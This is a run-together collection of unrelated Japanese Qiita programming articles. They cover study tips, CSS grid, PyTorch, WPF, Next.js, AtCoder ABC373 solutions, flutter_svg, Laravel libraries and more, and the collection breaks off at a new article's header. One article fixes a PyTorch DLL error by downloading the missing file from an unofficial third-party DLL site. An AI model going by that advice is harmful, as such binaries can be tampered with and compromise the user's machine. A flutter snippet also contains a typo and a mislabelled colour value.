OmniAICreator/Qiita-1.07M huggingface dataset:
初学者向け、非常識な最速資格取得勉強術

### はじめに

このテクニックは再現性が非常に高いものですが、対象者を選びます。
以下に当てはまる人だけが効果があり、それ以外の人は意味がないので辞めた方がよいです。

- せっかちな人
- 飽きっぽい人
- ITを人からちゃんと教わった事がが無い人
- 人生追い詰められている人

### テクニックを使用するルール

これからいくつかテクニックを書きますが、まず新しいテクニックを試すのは最低２週間以上間隔を空けて行ってください。あまりにいっぺんにやるとすぐ挫折します。

これからお伝えするテクニックは一般的に優秀な人達からすると非常識（まったく逆のこと）をテクニックとして伝えます。まずは３ヶ月トライして、それでも結果が残らなければ苦情を書き込んでください。


### テクニックその１：　試験勉強の前に勉強の仕方を学ぶ

:::note alert
多くの人が勉強を挫折するのは、勉強の仕方が分からず我流で、試験勉強を始めるから行き詰まり失敗します。
我流を捨てる事。今までのテクニック論は捨てる事が前提です。
:::

:::note info
[後回しにしない技術](https://amzn.asia/d/1Lpa3sF)　という書籍があります。
３日坊主どころが１日坊主の人は、勉強以前の問題です。私も忙しいときは、ひまになったらあれもやろう、これもやろうと思いつつ、結局時間が出来てもなにもしないという事が続いていました。
まずは、毎日勉強を継続するための方法を学んでください。
:::

:::note warn
勉強の「計画」はあくまでも計画です。例えば一日１０P読むと決めても、疲れていたら読む気にもなりません。
私はこの本を読んで毎日のタスクを「本を開く」「１行読む」「１ｐ読む」など細かく分ける事で、タスクをなにもしなかった日を極力無くしました。
大概本を開けば１行ぐらい読みます。１行読めば、１ｐぐらい読もうと思います。結局数ページは結果読むことが出来ました。このテクニックは再現性１００％です。
:::

### テクニックその２：　アホになる

１回本を読めば全部理解出来るような人以外は、本を１回読んだだけで理解出来ると考えない方がよい。そしてだからこそ、

:::note alert 
理解しながら本を読むという無駄なことを捨ててください。
:::

:::note warn
書籍の基本構成は、概要　−＞　基本　−＞　応用　−＞　ケースバイケースの準で記載されています。
最初の概要で全部が絶対理解出来ません。また応用やケースバイケースも１回では理解出来ません。
理解することは捨てて、記憶に留めることを意識してください。
:::

:::note info
１冊の技術書を最低１０回「音読」して読んでください。これは目で見て、口を動かし、声を出す、そして耳で聞く事で記憶に定着します。１回目読んで５％ぐらい理解出来たら良い方です。理解しながらや調べながら進めると本を１冊読むのに１ヶ月以上は掛かりますが、音読だけなら１週間以内に終わります。そして２回目、３回目と呼んでいる内にまったく分からなかった事が、「多分こうじゃないかな？」と思い始めます。大体４，５回読むと、３０％、４０％ぐらいは理解出来ていると思います。それだけ「読んでも分からない事」、「理解が合っているか不安な事」をネットのコミュニティや諸先輩に聞いてみてください。

:::

### テクニックその３ 完璧を捨てる

:::note alert
開発でもよくあるのが、進捗９０％から２ヶ月経っても全然進捗が進んで居ないと言うことがよくあります。理由は完璧に不具合が消えない限り進捗を進められないからです。
ですが殆どは特定条件下しか使わない機能の不具合はリリース時点までに間に合わせる必要はありません。

同じように、資格試験資格試験は６０％〜７０％合っていれば合格出来ます。１００％目指す意味は欠片もないです。
:::

:::note info
テクニック２によって、すでに正解が記憶に残っています。逆に言えばなんとなく記憶に残るぐらいまで１冊の本を徹底的に繰り返し音読してください。
:::

### テクニックその４　問題集は解くな

:::note alert
凡庸な我々が問題を解くのはおこがましい。我々が最短で勉強するには、問題を解く時間が無駄になる。
:::

:::note info
我々が時間をかけるべきは、問題の解説文を理解出来るかどうか。理解出来るように悩むのも無駄。理解出来なかったという印だけ付けておき、１週間単位で印を付けた所再度問題と解説を見て理解出来るかチェックをする。その間は１冊の本を繰り返し音読している内に理解出来る問題が増えてくる。
:::

###　テクニックその５　実機を使って手を動かすな

:::note alert
よく経験者から手を動かした方が記憶に残るし勉強だけだと仕事に使えないなどともっとも理由を言われる。
もっともだが、それは資格試験に合格する上では逆効果になる。手を動かすと勉強になる反面時間が非常に掛かる。２週間で取得出来るような資格試験でも手を動かしながら行うと２−３ヶ月は平気で掛かる。
:::

:::note warn
試しに、コマンドを打つ程度であれば週末行うのはあり
:::


### テクニックその６　勉強する前に試験を申し込む

:::note alert
大概の人は試験に受かる自信が出るまで試験に申し込まない。それだといつまで経っても試験を受けられず、途中で挫折する。
:::

:::note info
ベンダー試験であれば基本１ヶ月後に受験するように申し込む。そこから逆算して１０回本を読むために１日何ページ読むのか決める。
:::


### 最後に。

もっとありますが、いったん区切ってこの程度で。

上記は私が資格試験を毎月受け、合格したときのやり方です。

ちなみに３年前にはAWSとAzureの試験は毎週受けて６週連続合格していました。
（これは上記とはまた別のテクニックを活用）

まずは全然最短じゃないと思われるかもしれませんが、初学者が継続的に１ヶ月単位で試験に受かるのは驚異的です。是非騙されたと思って試して貰えたら幸いです。
girdレイアウトでgapを異なる値にしたい時の方法

## はじめに
CSSグリッドを使用している際に`gap`に異なる値を設定したいけど一律で困ると思っていたのですが、girdレイアウトでアイテム間のgapに異なる値にする対応方法を知りましたので紹介します！

## 前提：`gap`とは
CSSのgapは、girdレイアウトで使うプロパティで、girdアイテム（箱と箱の間）に余白を入れるためのものです。girdは行と列が組み合わさった配置ですが、この行や列の間に隙間を作りたいときにgapを使います。

簡単に言うと、girdレイアウトで使う「**アイテム同士の間隔を開けるためのスペース**」です。

gapは行（`row-gap`）と列（`column-gap`）でそれぞれ値を設定できますが**1つの値**しか設定できません。

## 本題
では、`gap`に異なる値を設定するにはどうすればよいのか。
それは、`gap`で余白を定義するのではなく`grid-template-columns`や`grid-template-row`で余白間も含め定義すればよいのです。

```HTML
<div class="news">
    <p class="date">2024.09.28</p>
    <p class="new">NEW</p>
    <p class="label">おすすめ</p>
</div>
```

```CSS
.news {
    display: grid;
    grid-template-columns: 80px 8px 33px 16px 116px;
}

.date {
    grid-column: 1 / 2;
}

.new {
    grid-column: 3 / 4;
}

.label {
    grid-column: 5 / 6;
}
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3552196/5ad2a640-db70-17b6-b424-fa1fb398d424.png)

## まとめ
最後まで読んでいただきありがとうございました！
`grid-template-columns`や`grid-template-row`で余白間も含め定義するのは盲点でした。
ただ、使いすぎるとコードで見たときにぱっと見でどこに余白を設けているのかわからなくなりそうなので使用する場面は選んだ方がよさそうです！

## 参考
- [CSS Gridレイアウトでgrid-gapに異なる値を設定したい場合の対処法](https://oi-tech.blog/t4bta3jkor/)
機械学習の基本手順

## はじめに
機械学習はデータを使ってモデルを訓練し、予測や分析を行う強力な手法です。以下に、一般的な機械学習の基本手順を簡潔に紹介します。

## 1. データ収集
まずは学習に使用するデータを集めます。データは機械学習モデルの基礎です。データはCSVファイル、画像、テキストなど、さまざまな形式があります。品質の高いデータを集めることが重要です。

## 2. データの前処理
次に、データのクリーニングや前処理を行います。これは、欠損値の処理や異常値の除去、正規化などのプロセスを含みます。適切な前処理を行うことで、モデルの精度が向上します。

## 3. モデルの選択
問題に適したアルゴリズム（モデル）を選択します。線形回帰、決定木、ランダムフォレスト、ニューラルネットワークなど、さまざまなアルゴリズムがあります。問題の性質に応じて、最適なモデルを選びます。

## 4. モデルの訓練
前処理したデータを使って、モデルに学習させます。モデルはデータからパターンを学び、予測や分類ができるようになります。この際、データを訓練用データと検証用データに分けて行うのが一般的です。

## 5. モデルの評価
訓練が終わったら、検証用データを使ってモデルの性能を評価します。精度、再現率、F値などの指標を用いてモデルの性能を確認します。評価結果が悪い場合は、データやモデルを調整する必要があります。

## 6. モデルの運用
評価が良好であれば、モデルを実際に運用に移します。これにより、モデルを使ってリアルタイムのデータを予測したり、新しいデータを分類したりすることが可能です。
PyTorchで何ができる？3分でわかる魅力

## はじめに
PyTorchは「機械学習やりたい！」って人にピッタリの、使いやすくて超パワフルなライブラリです。今回はその魅力をサクッと紹介します！

## 1. ニューラルネットワークは自分で作る！
「自分でニューラルネット作りたい」って思ったら、PyTorchなら自由自在。例えばこんなシンプルなモデルも簡単。

```python
import torch.nn as nn

class SimpleNN(nn.Module):
    def __init__(self):
        super(SimpleNN, self).__init__()
        self.fc = nn.Linear(10, 1)

    def forward(self, x):
        return self.fc(x)
```

複雑なモデルも簡単に拡張可能。カスタマイズしたい派にうってつけ！

## 2. 自動で微分計算（数学いらず！）
数式が苦手でも大丈夫！PyTorchの`autograd`が自動で微分してくれます。

```python
import torch

x = torch.tensor(2.0, requires_grad=True)
y = x ** 2
y.backward()
print(x.grad)  # 4.0が出るよ！
```

数学の苦手なあなたも、これで勾配計算をマスター。

## 3. GPUで爆速学習
「計算が遅い…」と思ったら、GPUにお任せ！こんな風にGPUで処理できます。

```python
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
x = torch.randn(100, 100).to(device)
```

速さを体感したら、もうCPUには戻れないかも？

## まとめ
PyTorchは柔軟でパワフル、そして簡単。自分だけのモデルを作り、数学に頼らず、GPUで高速計算！さあ、PyTorchを使って新しい世界に飛び込もう！
finqualというライブラリを使って米国企業の財務状況を調べる

finqual パッケージを使って、米国証券取引委員会 (SEC) のデータを用いた財務データの取得や分析ができます。このパッケージは、企業の損益計算書、貸借対照表、キャッシュフロー計算書を取得する機能を備えています。
特に競合企業情報を取得できるがユニークです。

income(start, end, quarter): 
指定された期間の損益計算書を取得。quarter=True で四半期データを取得可能。

balance(start, end, quarter): 
指定された期間の貸借対照表を取得。quarter=True で四半期データを取得可能。

cashflow(start, end, quarter): 
指定された期間のキャッシュフロー計算書を取得。quarter=True で四半期データを取得可能。

ratios(start, end): 
指定された期間の財務指標を取得。

comparables(n, level=None): 
同業他社を取得。level に3桁または4桁のSICコードを指定可能。



```python
pip install finqual
pip install ratelimit

from finqual import finqual as fq

# 損益計算書の取得（例：TSLAの2020年から2022年の年次データ）
income_statement = fq.Ticker("TSLA").income(2020, 2022)
print(income_statement)

# 損益計算書の取得（四半期データ）
quarterly_income = fq.Ticker("TSLA").income(2020, 2022, quarter=True)
print(quarterly_income)

# 貸借対照表の取得
balance_sheet = fq.Ticker("TSLA").balance(2020, 2022)
print(balance_sheet)

# キャッシュフロー計算書の取得
cash_flow = fq.Ticker("TSLA").cashflow(2020, 2022)
print(cash_flow)

# 財務指標の取得
ratios = fq.Ticker("TSLA").ratios(2018, 2020)
print(ratios)

# 同業他社の取得
comparables = fq.Ticker("TSLA").comparables(5)
print(comparables)
```
[WPF] 次の画面再描画時に処理を実行する

# はじめに

WPF で `DrawingContext` を利用した描画処理を実装している時に、次の画面再描画時に纏めて処理を実行したいことがありました。

所謂 JavaScript の `Window.requestAnimationFrame` 的なことを WPF でしたいというお話です。

# 確認時のバージョン情報

* `.NET`: 8.0.204

# `CompositionTarget.Rendering`

> [方法: CompositionTarget を使用したフレームの間隔ごとの描画 - WPF .NET Framework | Microsoft Learn](https://learn.microsoft.com/ja-jp/dotnet/desktop/wpf/graphics-multimedia/how-to-render-on-a-per-frame-interval-using-compositiontarget)  
> `CompositionTarget` は、アプリケーションが描画される表示サーフェイスを表す静的クラスです。
> アプリケーションのシーンが描画されるたびに `Rendering` イベントが発生します。
> レンダリングフレームレートは、1 秒あたりのシーンの描画回数です。

WPF には描画プロセス中に実行される `CompositionTarget.Rendering` イベントがあるようです。
JavaScript の `Window.requestAnimationFrame` とは異なり、描画フレーム毎に実行されるイベントですが、コードによっては 1 度だけ実行されるようにすることもできそうです。

# コード例

下記コードは、次の画面再描画時に 1 度だけ処理を実行するよう要求する `RequestRendering` メソッドを記述してみた例です。
ちなみに `CompositionTarget` は静的クラスのため、WPF アプリケーション内であれば何処でも記述できます。

```cs
using System.Windows;
using System.Windows.Input;
using System.Windows.Media;

namespace Sandbox;

public partial class MainWindow : Window {
    public MainWindow() => this.InitializeComponent();

    private bool _isRenderingRequested;

    // 次の画面再描画時で処理実行を要求します。
    protected void RequestRendering() {
        if(this._isRenderingRequested) { return; }

        void OnRendering(object? sender, EventArgs e) {
            // 再描画時に実行したい適当な処理：
            Console.WriteLine("rendering.");

            CompositionTarget.Rendering -= OnRendering;
            this._isRenderingRequested = false;
        }

        this._isRenderingRequested = true;
        CompositionTarget.Rendering += OnRendering;
    }

    protected override void OnMouseLeftButtonDown(MouseButtonEventArgs e) {
        base.OnMouseLeftButtonDown(e);
        // 画面再描画までに連続で要求しても、処理は 1 度だけ実行されます。
        this.RequestRendering();
        this.RequestRendering();
        this.RequestRendering();
        Console.WriteLine("requested.");
    }
}
```

# おわりに

こんなことをせずに XAML だけで解決できるならそれに越したことはないです（個人的な感想）。
Next.jsで本番では console.logを出さないができるらしいのでやってみた

# TL;DR
- next.config.js(mjs)で設定をすることで対応可能
- ログレベルを変えて、`console.log()`, `console.info()`, `console.warn()`, `console.error()` それぞれについても確認してみた

# まずはローカルでログ出力
ServerComponentだとターミナルのログに出力されるので、ClientComponentにする必要はあったが、下記の通り出力

![スクリーンショット 2024-09-28 22.56.14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/14268/11deb1b0-3634-4064-0b83-1406f7b5d887.png)

# 本番環境でログ出力確認
本番環境でのログ出力を制御するため、 next.config.js(mjs)を下記のように修正

```javascript:next.config.js
const nextConfig = {
    compiler: {
        removeConsole: process.env.NODE_ENV === "production",
    }
};

module.exports = nextConfig;
```

修正後にVercelへデプロイ🚀
ログレベル関係なく全く出力されなくなりましたね 👀

![スクリーンショット 2024-09-28 23.16.17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/14268/d6ff8390-faca-f234-38b6-0ff71a22e0b3.png)

# ログレベル単位では出力制御できるのか❓️
<details>
<summary>※ログレベル？がよくわからない人へ</summary>

- `console.log()`: ログレベル関係なく一般的なログを出力
- `console.info()`: 情報メッセージ。アプリケーションの正常な動作を示す。
- `console.warn()`: 警告メッセージ。潜在的な問題を示す。
- `console.error()`: エラーメッセージ。実際のエラーや例外を示す。
</details>

本番環境の場合のみ、エラーレベルのログのみを出力し、それ以外は全てのログを出す設定し、
修正後にVercelへデプロイ🚀

```javascript:next.config.js
const nextConfig = {
    compiler: {
        removeConsole: process.env.NODE_ENV === "production"
        ? {
            exclude: ["error"],
          }
        : false,
    }
};

module.exports = nextConfig;
```

できましたね👏👏👏👏👏👏👏👏👏👏👏👏👏👏👏👏👏👏👏👏👏

![スクリーンショット 2024-09-28 23.39.34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/14268/5ef6ed6f-ab64-86e0-daee-533f55398702.png)

# まとめ
この設定を入れておけば本番環境で余計なログが出力されない状態にできる🙌
チーム開発をしてるときにも便利ですね👏
fbgemm.dll or one of its dependenciesでPyTorchが使えない

# 状況
仮想環境を構築後，pytorchをインストールし，
```python:
import torch
```
をしたところ，
'～\torch\lib\fbgemm.dll' or one of its dependencies.のようなエラーが出た．

# 環境
* Windows11
* python3.10
* CPUのアーキテクチャ x64

# 解決方法
Dependenciesソフトを使って依存関係を確認したところ，
「libomp140.x86_64.dll」というファイルが足りないようです．
[libomp140.x86_64.dllのダウンロード場所](https://www.dllme.com/dll/files/libomp140_x86_64/00637fe34a6043031c9ae4c6cf0a891d#google_vignette)
ダウンロードしてfbgemm.dllと同じ場所に置くと解決しました．
visual studio 関係のエラーだそうです．

:::note alert
警告
上記のサイトは正規のダウンロード場所ではありません．自己責任でお願いします．
:::
current_userの値はどこで入れられてるのでしょう？

## 初めに

疑問に思ったことや上手くいかなかったことのアウトプットをしています。
自分なりの理解でアウトプットしていきます。初学者なので誤りもあると思います。
その際はご指摘いただけると幸いです。

## 疑問を持ったきっかけ
users_controllerで

```rb:users_controller.rb
def correct_user?
    @user == current_user
end
```
みたいに、当たり前のようにcurrent_userと書いてあるけど、いったいどこで定義されているのだろう？と思ったのがきっかけです。
user_sessions_controllerでおそらく入ったのだと思いますが、どこにもcurrent_userと書いてありません。

## 調べると
直接的には目に見えませんが、Railsではloginメソッドが成功すると、内部でセッションにユーザー情報が保存される仕組みになっているので、その時に格納されます。
以降のリクエストでcurrent_userを呼び出すと、ログイン中のユーザー情報を簡単に参照できるようになります。
【JavaScript】ABC373まとめ（A~D）

AtCoder Beginner Contest 373

https://atcoder.jp/contests/abc373

A~Cの3完（6分）でした。
788perfでレートは782->783（+1）で入緑は足踏みです。
Cまでかなり簡単だったので薄味になりますが、今回はA~Dをまとめます。

# A - September
https://atcoder.jp/contests/abc373/tasks/abc373_a

12個の入力を受け取り、入力の番号と文字列長が一致する個数を数えればよいです。

```js
function Main(input) {
  input = input.split("\n").map((line) => line.trim());
  const S = [];
  for (let i = 0; i < 12; i++) S.push(input[i].split(""));
  
  let ans = 0;
  for (let i = 0; i < 12; i++) if (S[i].length == i + 1) ans++;
  console.log(ans);
}

Main(require("fs").readFileSync(0, "utf8"));
```

# B - 1D Keyboard
https://atcoder.jp/contests/abc373/tasks/abc373_b

愚直に`A`→`B`→...→`Z`までに必要な移動コストの和をシミュレーションして求めれば良いです。
下のACコードでは各文字の場所を最初にマッピングしておき、次の文字に移動するコストを順次追加しています。

```js
function Main(input) {
  input = input.split("\n").map((line) => line.trim());
  const S = input[0].split("");
  const map = new Map();
  for(let i = 0; i < S.length; i++) map.set(S[i].charCodeAt(0), i);
  
  let ans = 0;
  for(let i = "A".charCodeAt(0); i < "Z".charCodeAt(0); i++) {
    ans += Math.abs(map.get(i) - map.get(i + 1));
  }
  console.log(ans);
}

Main(require("fs").readFileSync(0, "utf8"));
```

# C - Max Ai+Bj
https://atcoder.jp/contests/abc373/tasks/abc373_c

$A$の最大値と$B$の最大値を足したものが答えになります。

```js
function Main(input) {
  input = input.split("\n").map((line) => line.trim());
  const N = Number(input[0]);
  const A = input[1].split(" ").map(Number);
  const B = input[2].split(" ").map(Number);
  console.log(Math.max(...A) + Math.max(...B));
}

Main(require("fs").readFileSync(0, "utf8"));
```


# D - Hidden Weights
https://atcoder.jp/contests/abc373/tasks/abc373_d

解説通りですが、ある頂点に書き込む値を0などに決めておけば、その頂点に連結している頂点に書き込む値はすべて一意に決まります。
連結している頂点への値の書き込みはUnionfindやdfsで愚直にやりましょう。
なお、すでに確定している頂点は走査しないよう気をつけないとTLEします。

```js
function Main(input) {
  input = input.split("\n").map((line) => line.trim());
  const [N, M] = input[0].split(" ").map(Number);
  const u = [],
    v = [],
    w = [];
  for (let i = 0; i < M; i++) [u[i], v[i], w[i]] = input[i + 1].split(" ").map(Number);
  const G = new Array(N).fill(0).map(() => new Array());
  for (let i = 0; i < M; i++) {
    // 本番中は頂点番号の小さい方から順に書き込めば良いと思っていた
    // if (u[i] > v[i]) {
    //  w[i] = -w[i];
    //  [u[i], v[i]] = [v[i], u[i]];
    // }
    // G[u[i] - 1].push([v[i] - 1, w[i]]);
    // 実際は、連結している頂点は値が確定するので以下のように重さに×-1して逆辺を追加するだけでよい
    G[u[i] - 1].push([v[i] - 1, w[i]]);
    G[v[i] - 1].push([u[i] - 1, -w[i]]);
  }

  let dist = new Array(N).fill(-Number.MAX_VALUE);
  const dfs = (v) => {
    for (let i = 0; i < G[v].length; i++) {
      const [nv, nw] = G[v][i];
      if (dist[nv] == -Number.MAX_VALUE) {
        dist[nv] = dist[v] + nw;
        dfs(nv);
      }
    }
  };

  for (let i = 0; i < N; i++) {
    if (dist[i] == -Number.MAX_VALUE) {
      dist[i] = 0;
      dfs(i);
    }
  }

  console.log(dist.join(" "));
}

Main(require("fs").readFileSync(0, "utf8"));
```

感想ですが、本番中D問題は頂点番号の小さい方から順番に書き込むと思い26分で提出したコードがサンプルのみ全部AC、ほかは23WAとなり、間違っている理由が全くわからずE,Fに着手し、普通に難しかったため結果的に3完で終わりました。
実際は、逆辺を追加するだけでACできたので、またもや水perfを目前で逃しました。
本番に弱い癖をなんとかしないといけないですね、、、、(^^;)
投稿 90 SortableJS 2024/09/28

本日の勉強時間　6H

ドラッグアンドドロップのJSライブラリ。

```
<script src="//cdnjs.cloudflare.com/ajax/libs/Sortable/1.15.0/Sortable.min.js"></script>
```

↑をhtmlに貼って実現させる。

参考記事
https://zenn.dev/sdkfz181tiger/articles/e5979cde0238c1
ABC373振り返り



[前回の振り返り](https://qiita.com/comet725/items/b4828a505ea53e3a321f)

今日はABC開催日だったので参加結果を振り返る

https://atcoder.jp/contests/abc373

今週もA,B,Cの3完(0ペナ)

# A

条件にマッチしたら加算

## ソースコード

```python:main.py
import sys
def rI(): return int(sys.stdin.readline().rstrip())
def rLI(): return list(map(int,sys.stdin.readline().rstrip().split()))
def rI1(): return (int(sys.stdin.readline().rstrip())-1)
def rLI1(): return list(map(lambda a:int(a)-1,sys.stdin.readline().rstrip().split()))
def rS(): return sys.stdin.readline().rstrip()
def rLS(): return list(sys.stdin.readline().rstrip().split())
def err(*args): print(*args, file=sys.stderr)

def main():
    ans = 0
    for i in range(12):
        S = rS()
    
        if len(S) == i+1:
            ans += 1 
    print(ans)
    
if __name__ == '__main__':
    main()

```

# B

各文字の位置を連想配列に入れて
B以降の１文字前との距離を全部足す

## ソースコード

```python:main.py
import sys
def rI(): return int(sys.stdin.readline().rstrip())
def rLI(): return list(map(int,sys.stdin.readline().rstrip().split()))
def rI1(): return (int(sys.stdin.readline().rstrip())-1)
def rLI1(): return list(map(lambda a:int(a)-1,sys.stdin.readline().rstrip().split()))
def rS(): return sys.stdin.readline().rstrip()
def rLS(): return list(sys.stdin.readline().rstrip().split())
def err(*args): print(*args, file=sys.stderr)



def main():
    S = rS()
    d = {s:i  for i,s in enumerate(S)}
    cur = d["A"]
    ans = 0
    for s in 'BCDEFGHIJKLMNOPQRSTUVWXYZ':
        ans += abs(d[s] - cur)
        cur = d[s]
    print(ans)
    
if __name__ == '__main__':
    main()

```

# C

Aの中での最大値とBの中での最大値をそれぞれ足すだけ

## ソースコード

```python:main.py
import sys
def rI(): return int(sys.stdin.readline().rstrip())
def rLI(): return list(map(int,sys.stdin.readline().rstrip().split()))
def rI1(): return (int(sys.stdin.readline().rstrip())-1)
def rLI1(): return list(map(lambda a:int(a)-1,sys.stdin.readline().rstrip().split()))
def rS(): return sys.stdin.readline().rstrip()
def rLS(): return list(sys.stdin.readline().rstrip().split())
def err(*args): print(*args, file=sys.stderr)

def main():
    N = rI()
    A = rLI()
    B = rLI()
    
    ans = max(A) + max(B)
    print(ans)
    
if __name__ == '__main__':
    main()

```

# D

グラフの問題はできません定期
連立方程式組む感じ…？
(追記)深さor幅優先探索すればいいだけなのね…

# E

求めたい値がよくわからなかった

# F

ナップサック問題って動的計画法の定番だけど
目的関数が非線形でどうしよって感じ

# G

線の交差判定は三角形つくって行列式立てて云々みたいな記憶しかない

# まとめ

D問題以降は解ける気がしなくて放置してしまった
F問題は明らかに動的計画法してくださいな問題だったけど諦めてしまった

このあたりのモチベーション管理も課題ですね
[flutter_svg] SVG の複数の色を ColorMapper を使って変更する

[flutter_svg](https://pub.dev/packages/flutter_svg) パッケージで SVG 画像の色を変更して表示する方法についてまとめます。

:::note
* [flutter_svg](https://pub.dev/packages/flutter_svg) の v2.x でのコードと実行結果を掲載します
* 例として挙げるSVG画像は背景が透過されているものですが、スクリーンショットの都合で、背景は白色に表示されています
:::

### 単色の場合
次のような塗り一色の SVG 画像の色を変更するこの場合は、 [ColorFilter.mode](https://api.flutter.dev/flutter/dart-ui/ColorFilter/ColorFilter.mode.html) を使います。

![star1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/16508/7d9e3ab0-4ad2-23fe-6cea-ddd7f35e7af7.png)

置き換えたい色と、混色方法として [BlendMode.srcIn](https://api.flutter.dev/flutter/dart-ui/BlendMode.html#srcIn) を指定します。

```dart
SvgPicture.string(
  svgStarString,
  colorFilter: ColorFilter.mode(
    Colors.lightBlue,
    BlendMode.srcIn,
  ),
);
```

結果はこのようになります。

![star2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/16508/de47a6e5-a5fd-c494-2374-1f13c4647df9.png)

### 複数色の場合
次のように複数の色で構成される🐤の SVG 画像のそれぞれの色を任意の色に変更したいケースがあります。

![piyo1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/16508/b5d51e4a-8155-63df-f213-4ec1a117e729.png)

:::note
この🐤の SVG 画像は ChatGPT に描かせたものです。
[note / ChatGPTにSVGでお絵描きさせる](https://note.com/temoki/n/nd9aca1c3a919)
:::



これを前述の `ColorFilter` で行うと、すべての色に同じフィルターがかかってしまうため、意図した通りにすることができません（下図は、前述と同じ `BlendMode.srcIn` を使った場合の結果）。

![piyo2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/16508/d543e256-1af6-e0c3-a031-4bd4fa20ca40.png)

それぞれの色を任意の色に変更する場合は [ColorMapper](https://pub.dev/documentation/flutter_svg/latest/flutter_svg/ColorMapper-class.html) を使います。例えば、赤は青に変更、緑は黄色に変更、といったように色のマッピング方法を指定するイメージです。

今回は 🐤の体の黄色を青色、手足のオレンジ色をピンク色に変更してみます。`ColorMapper` クラスを継承したクラスで [substitute](https://pub.dev/documentation/flutter_svg/latest/flutter_svg/ColorMapper/substitute.html) メソッドをオーバーライドし、色のマッピング方法を実装します。 

```dart
final class PiyoColorMapper extends ColorMapper {
  const PiyoColorMapper();

  @override
  Colot substitute(String? id, String elementName, String attributeName, Color color) {
    return switch (color) {
      Color(0xFF00FFFF) /* yellow */ -> Colors.lightBlue,
      Color(0xFFFF5A00) /* orange */ -> Colors.pink,
      _ -> color,
    };
  }  
}
```

あとは作った ColorMapper のインスタンスを指定して SVG 画像を表示するだけです。

```dart
SvgPicture(
  SvgStringLoader(svgPiyoString),
  colorMapper: PiyoColorMapper(),
);
```

結果はこのようになりました。

![piyo3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/16508/6d5e9d2d-9151-0b63-fd94-a306d6245121.png)
コンセントのあるカフェを探すWebアプリ

# [CafeChargeFinder](https://myapp1-ccf-6e668bad6da2.herokuapp.com/)
この夏、初めての個人開発としてコンセントのあるカフェを探すためだけのWebアプリ「CafeChargeFinder」を開発し、デプロイしました！
(デプロイしたものの、そこまで大したものではないですし、登録店舗数が少なくて実用性がないという状態ですが...)
就活のために作ったものですが、せっかくなのでアウトプットの場として、この記事で機能と使用技術だけ紹介をしたいなと思います！
本当にちょっとした紹介なので、実際に書いたコードや開発に至った背景、テストユーザーの情報などといった詳しい情報を知りたいと興味を持ってくださった方は、こちらの[Githubリポジトリ](https://github.com/Kai-T-KiA/CafeChargeFinder/)のREADMEを見ていただけたらと思います。
機能追加などした際にも記事にします！

## ロゴ
![ロゴ](https://drive.google.com/uc?export=view&id=1NAKBkaqC59hGEEqtnplboGjJwMUVY6uL)

## 機能一覧
- 店舗検索機能
- 店舗登録機能
- マップ表示機能
- ルート表示機能

## 使用技術
- Laravel ver 10.48.16
- Google Maps API
- MariaDB
- AWS
【Laravel】恣意的なおすすめライブラリの紹介


有名なやつは飛ばします！

## 機能拡張

### awobaz/compoships

https://github.com/topclaudy/compoships

Laravelのリレーションを拡張するもの

Laravelのリレーションでは、複合主キーに対応していない
例えば、`日付` `ユーザーID` で unique となるデータを扱うことがある
そういう時にこのライブラリを使えば、思った通りのリレーションを組むことができる

意外と使う



### calebporzio/sushi

https://github.com/calebporzio/sushi

おしゅし！🍣

予め用意したArrayを、Eloquentに組み込む面白いライブラリ
固定値のテーブルをわざわざDBに用意しなくても良くなる

enum より多くの情報を扱いたいときに使う




### owen-it/laravel-auditing

https://github.com/owen-it/laravel-auditing

監査ライブラリ
どのモデルをどのユーザーがどんな変更をしたか、という情報を記録するもの
上手く使うと変更履歴の管理もこいつで可能
色んなことができるので、一度使ってみると良い


### WildsideUK/Laravel-Userstamps

https://github.com/WildSideUK/Laravel-Userstamps

モデルに、`created_by` `updated_by` など、変更者のIDを記録する
標準搭載でも良いのでは？


### gitonomy/gitlib

https://github.com/gitonomy/gitlib

自身の git 情報に PHP からアクセス可能なライブラリ
commit 番号を引用したり、バージョン情報を持ってきたり、面白い使い方ができる
頻繁にバージョンが変わるものに導入すると良いかも



### Intervention/image

https://github.com/Intervention/image

PHP で画像を編集するライブラリ
内部では `gd` か `Imagick` を使っている
拡大縮小、拡張子変換、なんでもござれ




### staudenmeir/laravel-migration-views

https://github.com/staudenmeir/laravel-migration-views

migration にて、 view ファイルを作成する支援をしてくれるライブラリ
なくても問題はないけど、素のsqlを仕込むよりは良いか...


### knuckleswtf/scribe

https://github.com/knuckleswtf/scribe

OpenAPIなどのAPIドキュメントを、LaravelのPHPDocから生成するもの
APIドキュメントを生成したくなったら使ってみてほしい


### fumeapp/modeltyper

https://github.com/fumeapp/modeltyper

Laravel のモデル情報から、typescript の型情報を生成するもの
こういうライブラリのお陰で、typescriptとの親和性もだいぶ高くなってきている

全部typescriptにしろという意見はあるが、tsにはLaravelほどの同じ思想で管理されている巨大ライブラリが無い
完全移行はまだまだ先かなぁ






## 開発ツール

### barryvdh/laravel-debugbar

https://github.com/barryvdh/laravel-debugbar


### barryvdh/laravel-ide-helper

https://github.com/barryvdh/laravel-ide-helper


### Laravel-Lang/lang

https://github.com/Laravel-Lang/lang


### itsgoingd/clockwork

https://github.com/itsgoingd/clockwork


### laravel/telescope:

https://github.com/laravel/telescope


### laravel/pail

https://github.com/laravel/pail

公式のライブラリ
tail の pretty 版
`laravel.log` を綺麗に吐き出してくれるので、開発に便利
右下のAuthIDにログイン中のユーザーIDを表示してくれる



### spatie/laravel-db-snapshots

https://github.com/spatie/laravel-db-snapshots

DBのダンプ、リストアをartisanコマンドから実行する便利なもの
環境を用意するのがちょっと大変だが、コマンドはとても簡単
ファイルに名前を付けることもできるので、データの受け渡しに
本番環境でも、バグの調査を行うときに非常に役に立つ

.env に設定したDBに対して処理を行う

```bash
$ php artisan snapshot:create
$ php artisan snapshot:load
```
[ABC373] ABC 373(Atcoder Beginner Contest)のA~D(A,B,C,D)問題をPythonで解説(復習)

# [ABC373] ABC 373(Atcoder Beginner Contest)のA~D(A,B,C,D)問題をPythonで解説(復習)

# A問題
